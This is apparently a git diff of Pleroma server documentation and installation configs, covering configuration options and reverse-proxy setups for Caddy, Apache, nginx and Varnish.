	config :logger,
	backends: [ {ExSyslogger, :ex_syslogger}, Quack.Logger ],
	level: :info

	config :logger, :ex_syslogger,
	level: :info,
	ident: "pleroma",
	format: "$metadata[$level] $message"

	config :quack,
	level: :warn,
	meta: [:all],
	webhook_url: "https://hooks.slack.com/services/YOUR-API-KEY-HERE"
	```

	See the [Quack Github](https://github.com/azohra/quack) for more details

	## :frontend_configurations

	This can be used to configure a keyword list that keeps the configuration data for any kind of frontend. By default, settings for `pleroma_fe` and `masto_fe` are configured.

	Frontends can access these settings at `/api/pleroma/frontend_configurations`

	To add your own configuration for PleromaFE, use it like this:

	```elixir
	config :pleroma, :frontend_configurations,
	pleroma_fe: %{
	theme: "pleroma-dark",
	# ... see /priv/static/static/config.json for the available keys.
	},
	masto_fe: %{
	showInstanceSpecificPanel: true
	}
	```

	These settings need to be complete, they will override the defaults.

	NOTE: for versions < 1.0, you need to set [`:fe`](#fe) to false, as shown a few lines below.

	## :fe
	__THIS IS DEPRECATED__

	If you are using this method, please change it to the [`frontend_configurations`](#frontend_configurations) method.
	Please set this option to false in your config like this:

	```elixir
	config :pleroma, :fe, false
	```

	This section is used to configure Pleroma-FE, unless ``:managed_config`` in ``:instance`` is set to false.

	* `theme`: Which theme to use, they are defined in ``styles.json``
	* `logo`: URL of the logo, defaults to Pleroma’s logo
	* `logo_mask`: Whether to use only the logo's shape as a mask (true) or as a regular image (false)
	* `logo_margin`: What margin to use around the logo
	* `background`: URL of the background, unless viewing a user profile with a background that is set
	* `redirect_root_no_login`: relative URL which indicates where to redirect when a user isn’t logged in.
	* `redirect_root_login`: relative URL which indicates where to redirect when a user is logged in.
	* `show_instance_panel`: Whenether to show the instance’s specific panel.
	* `scope_options_enabled`: Enable setting an notice visibility and subject/CW when posting
	* `formatting_options_enabled`: Enable setting a formatting different than plain-text (ie. HTML, Markdown) when posting, relates to ``:instance, allowed_post_formats``
	* `collapse_message_with_subjects`: When a message has a subject(aka Content Warning), collapse it by default
	* `hide_post_stats`: Hide notices statistics(repeats, favorites, …)
	* `hide_user_stats`: Hide profile statistics(posts, posts per day, followers, followings, …)

	## :assets

	This section configures assets to be used with various frontends. Currently the only option
	relates to mascots on the mastodon frontend

	* `mascots`: KeywordList of mascots, each element __MUST__ contain both a `url` and a
	`mime_type` key.
	* `default_mascot`: An element from `mascots` - This will be used as the default mascot
	on MastoFE (default: `:pleroma_fox_tan`)

	## :mrf_simple
	* `media_removal`: List of instances to remove medias from
	* `media_nsfw`: List of instances to put medias as NSFW(sensitive) from
	* `federated_timeline_removal`: List of instances to remove from Federated (aka The Whole Known Network) Timeline
	* `reject`: List of instances to reject any activities from
	* `accept`: List of instances to accept any activities from
	+* `report_removal`: List of instances to reject reports from
	+* `avatar_removal`: List of instances to strip avatars from
	+* `banner_removal`: List of instances to strip banners from

	## :mrf_rejectnonpublic
	* `allow_followersonly`: whether to allow followers-only posts
	* `allow_direct`: whether to allow direct messages

	## :mrf_hellthread
	* `delist_threshold`: Number of mentioned users after which the message gets delisted (the message can still be seen, but it will not show up in public timelines and mentioned users won't get notifications about it). Set to 0 to disable.
	* `reject_threshold`: Number of mentioned users after which the messaged gets rejected. Set to 0 to disable.

	## :mrf_keyword
	* `reject`: A list of patterns which result in message being rejected, each pattern can be a string or a [regular expression](https://hexdocs.pm/elixir/Regex.html)
	* `federated_timeline_removal`: A list of patterns which result in message being removed from federated timelines (a.k.a unlisted), each pattern can be a string or a [regular expression](https://hexdocs.pm/elixir/Regex.html)
	* `replace`: A list of tuples containing `{pattern, replacement}`, `pattern` can be a string or a [regular expression](https://hexdocs.pm/elixir/Regex.html)

	## :media_proxy
	* `enabled`: Enables proxying of remote media to the instance’s proxy
	* `base_url`: The base URL to access a user-uploaded file. Useful when you want to proxy the media files via another host/CDN fronts.
	* `proxy_opts`: All options defined in `Pleroma.ReverseProxy` documentation, defaults to `[max_body_length: (25*1_048_576)]`.
	* `whitelist`: List of domains to bypass the mediaproxy

	## :gopher
	* `enabled`: Enables the gopher interface
	* `ip`: IP address to bind to
	* `port`: Port to bind to
	* `dstport`: Port advertised in urls (optional, defaults to `port`)

	## Pleroma.Web.Endpoint
	`Phoenix` endpoint configuration, all configuration options can be viewed [here](https://hexdocs.pm/phoenix/Phoenix.Endpoint.html#module-dynamic-configuration), only common options are listed here
	* `http` - a list containing http protocol configuration, all configuration options can be viewed [here](https://hexdocs.pm/plug_cowboy/Plug.Cowboy.html#module-options), only common options are listed here
	- `ip` - a tuple consisting of 4 integers
	- `port`
	* `url` - a list containing the configuration for generating urls, accepts
	- `host` - the host without the scheme and a post (e.g `example.com`, not `https://example.com:2020`)
	- `scheme` - e.g `http`, `https`
	- `port`
	- `path`
	* `extra_cookie_attrs` - a list of `Key=Value` strings to be added as non-standard cookie attributes. Defaults to `["SameSite=Lax"]`. See the [SameSite article](https://www.owasp.org/index.php/SameSite) on OWASP for more info.



	Important note: if you modify anything inside these lists, default `config.exs` values will be overwritten, which may result in breakage, to make sure this does not happen please copy the default value for the list from `config.exs` and modify/add only what you need

	Example:
	```elixir
	config :pleroma, Pleroma.Web.Endpoint,
	url: [host: "example.com", port: 2020, scheme: "https"],
	http: [
	# start copied from config.exs
	dispatch: [
	{:_,
	[
	{"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
	{"/websocket", Phoenix.Endpoint.CowboyWebSocket,
	{Phoenix.Transports.WebSocket,
	{Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, websocket_config}}},
	{:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
	]}
	# end copied from config.exs
	],
	port: 8080,
	ip: {127, 0, 0, 1}
	]
	```

	This will make Pleroma listen on `127.0.0.1` port `8080` and generate urls starting with `https://example.com:2020`

	## :activitypub
	* ``accept_blocks``: Whether to accept incoming block activities from other instances
	* ``unfollow_blocked``: Whether blocks result in people getting unfollowed
	* ``outgoing_blocks``: Whether to federate blocks to other instances
	* ``deny_follow_blocked``: Whether to disallow following an account that has blocked the user in question

	## :http_security
	* ``enabled``: Whether the managed content security policy is enabled
	* ``sts``: Whether to additionally send a `Strict-Transport-Security` header
	* ``sts_max_age``: The maximum age for the `Strict-Transport-Security` header if sent
	* ``ct_max_age``: The maximum age for the `Expect-CT` header if sent
	* ``referrer_policy``: The referrer policy to use, either `"same-origin"` or `"no-referrer"`
	* ``report_uri``: Adds the specified url to `report-uri` and `report-to` group in CSP header.

	## :mrf_user_allowlist

	The keys in this section are the domain names that the policy should apply to.
	Each key should be assigned a list of users that should be allowed through by
	their ActivityPub ID.

	An example:

	```elixir
	config :pleroma, :mrf_user_allowlist,
	"example.org": ["https://example.org/users/admin"]
	```

	## :web_push_encryption, :vapid_details

	Web Push Notifications configuration. You can use the mix task `mix web_push.gen.keypair` to generate it.

	* ``subject``: a mailto link for the administrative contact. It’s best if this email is not a personal email address, but rather a group email so that if a person leaves an organization, is unavailable for an extended period, or otherwise can’t respond, someone else on the list can.
	* ``public_key``: VAPID public key
	* ``private_key``: VAPID private key

	## Pleroma.Captcha
	* `enabled`: Whether the captcha should be shown on registration
	* `method`: The method/service to use for captcha
	* `seconds_valid`: The time in seconds for which the captcha is valid

	### Pleroma.Captcha.Kocaptcha
	Kocaptcha is a very simple captcha service with a single API endpoint,
	the source code is here: https://github.com/koto-bank/kocaptcha. The default endpoint
	`https://captcha.kotobank.ch` is hosted by the developer.

	* `endpoint`: the kocaptcha endpoint to use

	## :admin_token

	Allows to set a token that can be used to authenticate with the admin api without using an actual user by giving it as the 'admin_token' parameter. Example:

	```elixir
	config :pleroma, :admin_token, "somerandomtoken"
	```

	You can then do

	```sh
	curl "http://localhost:4000/api/pleroma/admin/invite_token?admin_token=somerandomtoken"
	```

	## :pleroma_job_queue

	[Pleroma Job Queue](https://git.pleroma.social/pleroma/pleroma_job_queue) configuration: a list of queues with maximum concurrent jobs.

	Pleroma has the following queues:

	* `federator_outgoing` - Outgoing federation
	* `federator_incoming` - Incoming federation
	* `mailer` - Email sender, see [`Pleroma.Emails.Mailer`](#pleroma-emails-mailer)
	* `transmogrifier` - Transmogrifier
	* `web_push` - Web push notifications
	* `scheduled_activities` - Scheduled activities, see [`Pleroma.ScheduledActivities`](#pleromascheduledactivity)

	Example:

	```elixir
	config :pleroma_job_queue, :queues,
	federator_incoming: 50,
	federator_outgoing: 50
	```

	This config contains two queues: `federator_incoming` and `federator_outgoing`. Both have the `max_jobs` set to `50`.

	## Pleroma.Web.Federator.RetryQueue

	* `enabled`: If set to `true`, failed federation jobs will be retried
	* `max_jobs`: The maximum amount of parallel federation jobs running at the same time.
	* `initial_timeout`: The initial timeout in seconds
	* `max_retries`: The maximum number of times a federation job is retried

	## Pleroma.Web.Metadata
	* `providers`: a list of metadata providers to enable. Providers available:
	* Pleroma.Web.Metadata.Providers.OpenGraph
	* Pleroma.Web.Metadata.Providers.TwitterCard
	* Pleroma.Web.Metadata.Providers.RelMe - add links from user bio with rel=me into the `<header>` as `<link rel=me>`
	* `unfurl_nsfw`: If set to `true` nsfw attachments will be shown in previews

	## :rich_media
	* `enabled`: if enabled the instance will parse metadata from attached links to generate link previews

	## :fetch_initial_posts
	* `enabled`: if enabled, when a new user is federated with, fetch some of their latest posts
	* `pages`: the amount of pages to fetch

	## :hackney_pools

	Advanced. Tweaks Hackney (http client) connections pools.

	There's three pools used:

	* `:federation` for the federation jobs.
	You may want this pool max_connections to be at least equal to the number of federator jobs + retry queue jobs.
	* `:media` for rich media, media proxy
	* `:upload` for uploaded media (if using a remote uploader and `proxy_remote: true`)

	For each pool, the options are:

	* `max_connections` - how much connections a pool can hold
	* `timeout` - retention duration for connections

	## :auto_linker

	Configuration for the `auto_linker` library:

	* `class: "auto-linker"` - specify the class to be added to the generated link. false to clear
	* `rel: "noopener noreferrer"` - override the rel attribute. false to clear
	* `new_window: true` - set to false to remove `target='_blank'` attribute
	* `scheme: false` - Set to true to link urls with schema `http://google.com`
	* `truncate: false` - Set to a number to truncate urls longer then the number. Truncated urls will end in `..`
	* `strip_prefix: true` - Strip the scheme prefix
	* `extra: false` - link urls with rarely used schemes (magnet, ipfs, irc, etc.)

	Example:

	```elixir
	config :auto_linker,
	opts: [
	scheme: true,
	extra: true,
	class: false,
	strip_prefix: false,
	new_window: false,
	rel: false
	]
	```

	## Pleroma.ScheduledActivity

	* `daily_user_limit`: the number of scheduled activities a user is allowed to create in a single day (Default: `25`)
	* `total_user_limit`: the number of scheduled activities a user is allowed to create in total (Default: `300`)
	* `enabled`: whether scheduled activities are sent to the job queue to be executed

	## Pleroma.Web.Auth.Authenticator

	* `Pleroma.Web.Auth.PleromaAuthenticator`: default database authenticator
	* `Pleroma.Web.Auth.LDAPAuthenticator`: LDAP authentication

	## :ldap

	Use LDAP for user authentication. When a user logs in to the Pleroma
	instance, the name and password will be verified by trying to authenticate
	(bind) to an LDAP server. If a user exists in the LDAP directory but there
	is no account with the same name yet on the Pleroma instance then a new
	Pleroma account will be created with the same name as the LDAP user name.

	* `enabled`: enables LDAP authentication
	* `host`: LDAP server hostname
	* `port`: LDAP port, e.g. 389 or 636
	* `ssl`: true to use SSL, usually implies the port 636
	* `sslopts`: additional SSL options
	* `tls`: true to start TLS, usually implies the port 389
	* `tlsopts`: additional TLS options
	* `base`: LDAP base, e.g. "dc=example,dc=com"
	* `uid`: LDAP attribute name to authenticate the user, e.g. when "cn", the filter will be "cn=username,base"

	## BBS / SSH access

	To enable simple command line interface accessible over ssh, add a setting like this to your configuration file:

	```exs
	app_dir = File.cwd!
	priv_dir = Path.join([app_dir, "priv/ssh_keys"])

	config :esshd,
	enabled: true,
	priv_dir: priv_dir,
	handler: "Pleroma.BBS.Handler",
	port: 10_022,
	password_authenticator: "Pleroma.BBS.Authenticator"
	```

	-Feel free to adjust the priv_dir and port number. Then you will have to create the key for the keys (in the example `priv/ssh_keys`) and create the host keys with `ssh-keygen -N "" -b 2048 -t rsa -f ssh_host_rsa_key`. After restarting, you should be able to connect to your Pleroma instance with `ssh username@server -p $PORT`
	+Feel free to adjust the priv_dir and port number. Then you will have to create the key for the keys (in the example `priv/ssh_keys`) and create the host keys with `ssh-keygen -m PEM -N "" -b 2048 -t rsa -f ssh_host_rsa_key`. After restarting, you should be able to connect to your Pleroma instance with `ssh username@server -p $PORT`

	## :auth

	* `Pleroma.Web.Auth.PleromaAuthenticator`: default database authenticator
	* `Pleroma.Web.Auth.LDAPAuthenticator`: LDAP authentication

	Authentication / authorization settings.

	* `auth_template`: authentication form template. By default it's `show.html` which corresponds to `lib/pleroma/web/templates/o_auth/o_auth/show.html.eex`.
	* `oauth_consumer_template`: OAuth consumer mode authentication form template. By default it's `consumer.html` which corresponds to `lib/pleroma/web/templates/o_auth/o_auth/consumer.html.eex`.
	* `oauth_consumer_strategies`: the list of enabled OAuth consumer strategies; by default it's set by OAUTH_CONSUMER_STRATEGIES environment variable.

	## OAuth consumer mode

	OAuth consumer mode allows sign in / sign up via external OAuth providers (e.g. Twitter, Facebook, Google, Microsoft, etc.).
	Implementation is based on Ueberauth; see the list of [available strategies](https://github.com/ueberauth/ueberauth/wiki/List-of-Strategies).

	Note: each strategy is shipped as a separate dependency; in order to get the strategies, run `OAUTH_CONSUMER_STRATEGIES="..." mix deps.get`,
	e.g. `OAUTH_CONSUMER_STRATEGIES="twitter facebook google microsoft" mix deps.get`.
	The server should also be started with `OAUTH_CONSUMER_STRATEGIES="..." mix phx.server` in case you enable any strategies.

	Note: each strategy requires separate setup (on external provider side and Pleroma side). Below are the guidelines on setting up most popular strategies.

	Note: make sure that `"SameSite=Lax"` is set in `extra_cookie_attrs` when you have this feature enabled. OAuth consumer mode will not work with `"SameSite=Strict"`

	* For Twitter, [register an app](https://developer.twitter.com/en/apps), configure callback URL to https://<your_host>/oauth/twitter/callback

	* For Facebook, [register an app](https://developers.facebook.com/apps), configure callback URL to https://<your_host>/oauth/facebook/callback, enable Facebook Login service at https://developers.facebook.com/apps/<app_id>/fb-login/settings/

	* For Google, [register an app](https://console.developers.google.com), configure callback URL to https://<your_host>/oauth/google/callback

	* For Microsoft, [register an app](https://portal.azure.com), configure callback URL to https://<your_host>/oauth/microsoft/callback

	Once the app is configured on external OAuth provider side, add app's credentials and strategy-specific settings (if any — e.g. see Microsoft below) to `config/prod.secret.exs`,
	per strategy's documentation (e.g. [ueberauth_twitter](https://github.com/ueberauth/ueberauth_twitter)). Example config basing on environment variables:

	```elixir
	# Twitter
	config :ueberauth, Ueberauth.Strategy.Twitter.OAuth,
	consumer_key: System.get_env("TWITTER_CONSUMER_KEY"),
	consumer_secret: System.get_env("TWITTER_CONSUMER_SECRET")

	# Facebook
	config :ueberauth, Ueberauth.Strategy.Facebook.OAuth,
	client_id: System.get_env("FACEBOOK_APP_ID"),
	client_secret: System.get_env("FACEBOOK_APP_SECRET"),
	redirect_uri: System.get_env("FACEBOOK_REDIRECT_URI")

	# Google
	config :ueberauth, Ueberauth.Strategy.Google.OAuth,
	client_id: System.get_env("GOOGLE_CLIENT_ID"),
	client_secret: System.get_env("GOOGLE_CLIENT_SECRET"),
	redirect_uri: System.get_env("GOOGLE_REDIRECT_URI")

	# Microsoft
	config :ueberauth, Ueberauth.Strategy.Microsoft.OAuth,
	client_id: System.get_env("MICROSOFT_CLIENT_ID"),
	client_secret: System.get_env("MICROSOFT_CLIENT_SECRET")

	config :ueberauth, Ueberauth,
	providers: [
	microsoft: {Ueberauth.Strategy.Microsoft, [callback_params: []]}
	]
	```

	## OAuth 2.0 provider - :oauth2

	Configure OAuth 2 provider capabilities:

	* `token_expires_in` - The lifetime in seconds of the access token.
	* `issue_new_refresh_token` - Keeps old refresh token or generate new refresh token when to obtain an access token.
	+* `clean_expired_tokens` - Enable a background job to clean expired oauth tokens. Defaults to `false`.
	+* `clean_expired_tokens_interval` - Interval to run the job to clean expired tokens. Defaults to `86_400_000` (24 hours).

	## :emoji
	* `shortcode_globs`: Location of custom emoji files. `` can be used as a wildcard. Example `["/emoji/custom//.png"]`
	* `groups`: Emojis are ordered in groups (tags). This is an array of key-value pairs where the key is the groupname and the value the location or array of locations. `` can be used as a wildcard. Example `[Custom: ["/emoji/.png", "/emoji/custom/*.png"]]`
	* `default_manifest`: Location of the JSON-manifest. This manifest contains information about the emoji-packs you can download. Currently only one manifest can be added (no arrays).

	## Database options

	### RUM indexing for full text search
	* `rum_enabled`: If RUM indexes should be used. Defaults to `false`.

	RUM indexes are an alternative indexing scheme that is not included in PostgreSQL by default. While they may eventually be mainlined, for now they have to be installed as a PostgreSQL extension from https://github.com/postgrespro/rum.

	Their advantage over the standard GIN indexes is that they allow efficient ordering of search results by timestamp, which makes search queries a lot faster on larger servers, by one or two orders of magnitude. They take up around 3 times as much space as GIN indexes.

	To enable them, both the `rum_enabled` flag has to be set and the following special migration has to be run:

	`mix ecto.migrate --migrations-path priv/repo/optional_migrations/rum_indexing/`

	This will probably take a long time.
	diff --git a/docs/config/howto_mongooseim.md b/docs/config/howto_mongooseim.md
	new file mode 100644
	index 000000000..a33e590a1
	--- /dev/null
	+++ b/docs/config/howto_mongooseim.md
	@@ -0,0 +1,10 @@
	+# Configuring MongooseIM (XMPP Server) to use Pleroma for authentication
	+
	+If you want to give your Pleroma users an XMPP (chat) account, you can configure [MongooseIM](https://github.com/esl/MongooseIM) to use your Pleroma server for user authentication, automatically giving every local user an XMPP account.
	+
	+In general, you just have to follow the configuration described at [https://mongooseim.readthedocs.io/en/latest/authentication-backends/HTTP-authentication-module/](https://mongooseim.readthedocs.io/en/latest/authentication-backends/HTTP-authentication-module/) and do these changes to your mongooseim.cfg.
	+
	+1. Set the auth_method to `{auth_method, http}`.
	+2. Add the http auth pool like this: `{http, global, auth, [{workers, 50}], [{server, "https://yourpleromainstance.com"}]}`
	+
	+Restart your MongooseIM server, your users should now be able to connect with their Pleroma credentials.
	diff --git a/installation/caddyfile-pleroma.example b/installation/caddyfile-pleroma.example
	index fcf76718e..7985d9c67 100644
	--- a/installation/caddyfile-pleroma.example
	+++ b/installation/caddyfile-pleroma.example
	@@ -1,36 +1,38 @@
	# default Caddyfile config for Pleroma
	#
	# Simple installation instructions:
	# 1. Replace 'example.tld' with your instance's domain wherever it appears.
	# 2. Copy this section into your Caddyfile and restart Caddy.

	example.tld {
	log /var/log/caddy/pleroma_access.log
	errors /var/log/caddy/pleroma_error.log

	gzip

	- proxy / localhost:4000 {
	+ # this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only
	+ # and `localhost.` resolves to [::0] on some systems: see issue #930
	+ proxy / 127.0.0.1:4000 {
	websocket
	transparent
	}

	tls {
	# Remove the rest of the lines in here, if you want to support older devices
	key_type p256
	ciphers ECDHE-ECDSA-WITH-CHACHA20-POLY1305 ECDHE-RSA-WITH-CHACHA20-POLY1305 ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-RSA-AES256-GCM-SHA384 ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-RSA-AES128-GCM-SHA256
	}

	# If you do not want to use the mediaproxy function, remove these lines.
	# To use this directive, you need the http.cache plugin for Caddy.
	cache {
	match_path /media
	default_max_age 720m
	}

	cache {
	match_path /proxy
	default_max_age 720m
	}
	# Stop removing lines here.
	}
	diff --git a/installation/pleroma-apache.conf b/installation/pleroma-apache.conf
	index 2beb7c4cc..b5640ac3d 100644
	--- a/installation/pleroma-apache.conf
	+++ b/installation/pleroma-apache.conf
	@@ -1,72 +1,74 @@
	# default Apache site config for Pleroma
	#
	# needed modules: define headers proxy proxy_http proxy_wstunnel rewrite ssl
	# optional modules: cache cache_disk
	#
	# Simple installation instructions:
	# 1. Install your TLS certificate, possibly using Let's Encrypt.
	# 2. Replace 'example.tld' with your instance's domain wherever it appears.
	# 3. This assumes a Debian style Apache config. Copy this file to
	# /etc/apache2/sites-available/ and then add a symlink to it in
	# /etc/apache2/sites-enabled/ by running 'a2ensite pleroma-apache.conf', then restart Apache.
	#
	# Optional: enable disk-based caching for the media proxy
	# For details, see https://git.pleroma.social/pleroma/pleroma/wikis/How%20to%20activate%20mediaproxy
	#
	# 1. Create the directory listed below as the CacheRoot, and make sure
	# the Apache user can write to it.
	# 2. Configure Apache's htcacheclean to clean the directory periodically.
	# 3. Run 'a2enmod cache cache_disk' and restart Apache.

	Define servername example.tld

	ServerName ${servername}
	ServerTokens Prod

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	<VirtualHost *:80>
	Redirect permanent / https://${servername}
	</VirtualHost>

	<VirtualHost *:443>
	SSLEngine on
	SSLCertificateFile /etc/letsencrypt/live/${servername}/cert.pem
	SSLCertificateKeyFile /etc/letsencrypt/live/${servername}/privkey.pem
	SSLCertificateChainFile /etc/letsencrypt/live/${servername}/fullchain.pem

	# Mozilla modern configuration, tweak to your needs
	SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
	SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
	SSLHonorCipherOrder on
	SSLCompression off
	SSLSessionTickets off

	# uncomment the following to enable mediaproxy caching on disk
	# <IfModule mod_cache_disk.c>
	# CacheRoot /var/cache/apache2/mod_cache_disk
	# CacheDirLevels 1
	# CacheDirLength 2
	# CacheEnable disk /proxy
	# CacheLock on
	# </IfModule>

	RewriteEngine On
	RewriteCond %{HTTP:Connection} Upgrade [NC]
	RewriteCond %{HTTP:Upgrade} websocket [NC]
	RewriteRule /(.*) ws://localhost:4000/$1 [P,L]

	ProxyRequests off
	- ProxyPass / http://localhost:4000/
	- ProxyPassReverse / http://localhost:4000/
	+ # this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only
	+ # and `localhost.` resolves to [::0] on some systems: see issue #930
	+ ProxyPass / http://127.0.0.1:4000/
	+ ProxyPassReverse / http://127.0.0.1:4000/

	RequestHeader set Host ${servername}
	ProxyPreserveHost On
	</VirtualHost>

	# OCSP Stapling, only in httpd 2.3.3 and later
	SSLUseStapling on
	SSLStaplingResponderTimeout 5
	SSLStaplingReturnResponderErrors off
	SSLStaplingCache shmcb:/var/run/ocsp(128000)
	diff --git a/installation/pleroma.nginx b/installation/pleroma.nginx
	index cc75d78b2..7425da33f 100644
	--- a/installation/pleroma.nginx
	+++ b/installation/pleroma.nginx
	@@ -1,92 +1,94 @@
	# default nginx site config for Pleroma
	#
	# Simple installation instructions:
	# 1. Install your TLS certificate, possibly using Let's Encrypt.
	# 2. Replace 'example.tld' with your instance's domain wherever it appears.
	# 3. Copy this file to /etc/nginx/sites-available/ and then add a symlink to it
	# in /etc/nginx/sites-enabled/ and run 'nginx -s reload' or restart nginx.

	proxy_cache_path /tmp/pleroma-media-cache levels=1:2 keys_zone=pleroma_media_cache:10m max_size=10g
	inactive=720m use_temp_path=off;

	server {
	server_name example.tld;

	listen 80;
	listen [::]:80;
	return 301 https://$server_name$request_uri;

	# Uncomment this if you need to use the 'webroot' method with certbot. Make sure
	# that the directory exists and that it is accessible by the webserver. If you followed
	# the guide, you already ran 'sudo mkdir -p /var/lib/letsencrypt' to create the folder.
	# You may need to load this file with the ssl server block commented out, run certbot
	# to get the certificate, and then uncomment it.
	#
	# location ~ /\.well-known/acme-challenge {
	# root /var/lib/letsencrypt/.well-known/acme-challenge;
	# }
	}

	# Enable SSL session caching for improved performance
	ssl_session_cache shared:ssl_session_cache:10m;

	server {
	server_name example.tld;

	listen 443 ssl http2;
	listen [::]:443 ssl http2;
	ssl_session_timeout 5m;

	ssl_trusted_certificate /etc/letsencrypt/live/example.tld/chain.pem;
	ssl_certificate /etc/letsencrypt/live/example.tld/fullchain.pem;
	ssl_certificate_key /etc/letsencrypt/live/example.tld/privkey.pem;

	# Add TLSv1.0 to support older devices
	ssl_protocols TLSv1.2;
	# Uncomment line below if you want to support older devices (Before Android 4.4.2, IE 8, etc.)
	# ssl_ciphers "HIGH:!aNULL:!MD5 or HIGH:!aNULL:!MD5:!3DES";
	ssl_ciphers "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4";
	ssl_prefer_server_ciphers on;
	# In case of an old server with an OpenSSL version of 1.0.2 or below,
	# leave only prime256v1 or comment out the following line.
	ssl_ecdh_curve X25519:prime256v1:secp384r1:secp521r1;
	ssl_stapling on;
	ssl_stapling_verify on;

	gzip_vary on;
	gzip_proxied any;
	gzip_comp_level 6;
	gzip_buffers 16 8k;
	gzip_http_version 1.1;
	gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript application/activity+json application/atom+xml;

	# the nginx default is 1m, not enough for large media uploads
	client_max_body_size 16m;

	location / {
	proxy_http_version 1.1;
	proxy_set_header Upgrade $http_upgrade;
	proxy_set_header Connection "upgrade";
	proxy_set_header Host $http_host;

	- proxy_pass http://localhost:4000;
	+ # this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only
	+ # and `localhost.` resolves to [::0] on some systems: see issue #930
	+ proxy_pass http://127.0.0.1:4000;

	client_max_body_size 16m;
	}

	location ~ ^/(media\|proxy) {
	proxy_cache pleroma_media_cache;
	slice 1m;
	proxy_cache_key $host$uri$is_args$args$slice_range;
	proxy_set_header Range $slice_range;
	proxy_http_version 1.1;
	proxy_cache_valid 200 206 301 304 1h;
	proxy_cache_lock on;
	proxy_ignore_client_abort on;
	proxy_buffering on;
	chunked_transfer_encoding on;
	proxy_ignore_headers Cache-Control;
	proxy_hide_header Cache-Control;
	proxy_pass http://localhost:4000;
	}
	}
	diff --git a/installation/pleroma.vcl b/installation/pleroma.vcl
	index 92153d8ef..154747aa6 100644
	--- a/installation/pleroma.vcl
	+++ b/installation/pleroma.vcl
	@@ -1,147 +1,147 @@
	-vcl 4.0;
	+vcl 4.1;
	import std;

	backend default {
	.host = "127.0.0.1";
	.port = "4000";
	}

	# ACL for IPs that are allowed to PURGE data from the cache
	acl purge {
	"127.0.0.1";
	}

	sub vcl_recv {
	# Redirect HTTP to HTTPS
	if (std.port(server.ip) != 443) {
	set req.http.x-redir = "https://" + req.http.host + req.url;
	return (synth(750, ""));
	}

	# CHUNKED SUPPORT
	if (req.http.Range ~ "bytes=") {
	set req.http.x-range = req.http.Range;
	}

	# Pipe if WebSockets request is coming through
	if (req.http.upgrade ~ "(?i)websocket") {
	return (pipe);
	}

	# Allow purging of the cache
	if (req.method == "PURGE") {
	if (!client.ip ~ purge) {
	return(synth(405,"Not allowed."));
	}
	return(purge);
	}
	-
	- # Pleroma MediaProxy - strip headers that will affect caching
	- if (req.url ~ "^/proxy/") {
	- unset req.http.Cookie;
	- unset req.http.Authorization;
	- unset req.http.Accept;
	- return (hash);
	- }
	-
	- # Strip headers that will affect caching from all other static content
	- # This also permits caching of individual toots and AP Activities
	- if ((req.url ~ "^/(media\|static)/") \|\|
	- (req.url ~ "(?i)\.(html\|js\|css\|jpg\|jpeg\|png\|gif\|gz\|tgz\|bz2\|tbz\|mp3\|mp4\|ogg\|webm\|svg\|swf\|ttf\|pdf\|woff\|woff2)$"))
	- {
	- unset req.http.Cookie;
	- unset req.http.Authorization;
	- return (hash);
	- }
	}

	sub vcl_backend_response {
	# gzip text content
	if (beresp.http.content-type ~ "(text\|text/css\|application/x-javascript\|application/javascript)") {
	set beresp.do_gzip = true;
	}

	+ # Retry broken backend responses.
	+ if (beresp.status == 503) {
	+ set bereq.http.X-Varnish-Backend-503 = "1";
	+ return (retry);
	+ }
	+
	# CHUNKED SUPPORT
	if (bereq.http.x-range ~ "bytes=" && beresp.status == 206) {
	set beresp.ttl = 10m;
	set beresp.http.CR = beresp.http.content-range;
	}

	# Don't cache objects that require authentication
	if (beresp.http.Authorization && !beresp.http.Cache-Control ~ "public") {
	set beresp.uncacheable = true;
	return (deliver);
	}

	- # Default object caching of 86400s;
	- set beresp.ttl = 86400s;
	# Allow serving cached content for 6h in case backend goes down
	set beresp.grace = 6h;

	# Do not cache 5xx responses
	if (beresp.status == 500 \|\| beresp.status == 502 \|\| beresp.status == 503 \|\| beresp.status == 504) {
	set beresp.uncacheable = true;
	return (abandon);
	}

	# Do not cache redirects and errors
	if ((beresp.status >= 300) && (beresp.status < 500)) {
	set beresp.uncacheable = true;
	set beresp.ttl = 30s;
	return (deliver);
	}
	-
	- # Pleroma MediaProxy internally sets headers properly
	- if (bereq.url ~ "^/proxy/") {
	- return (deliver);
	- }
	-
	- # Strip cache-restricting headers from Pleroma on static content that we want to cache
	- if (bereq.url ~ "(?i)\.(js\|css\|jpg\|jpeg\|png\|gif\|gz\|tgz\|bz2\|tbz\|mp3\|mp4\|ogg\|webm\|svg\|swf\|ttf\|pdf\|woff\|woff2)$")
	- {
	- unset beresp.http.set-cookie;
	- unset beresp.http.Cache-Control;
	- unset beresp.http.x-request-id;
	- set beresp.http.Cache-Control = "public, max-age=86400";
	- }
	}

	# The synthetic response for 301 redirects
	sub vcl_synth {
	if (resp.status == 750) {
	set resp.status = 301;
	set resp.http.Location = req.http.x-redir;
	return(deliver);
	}
	}

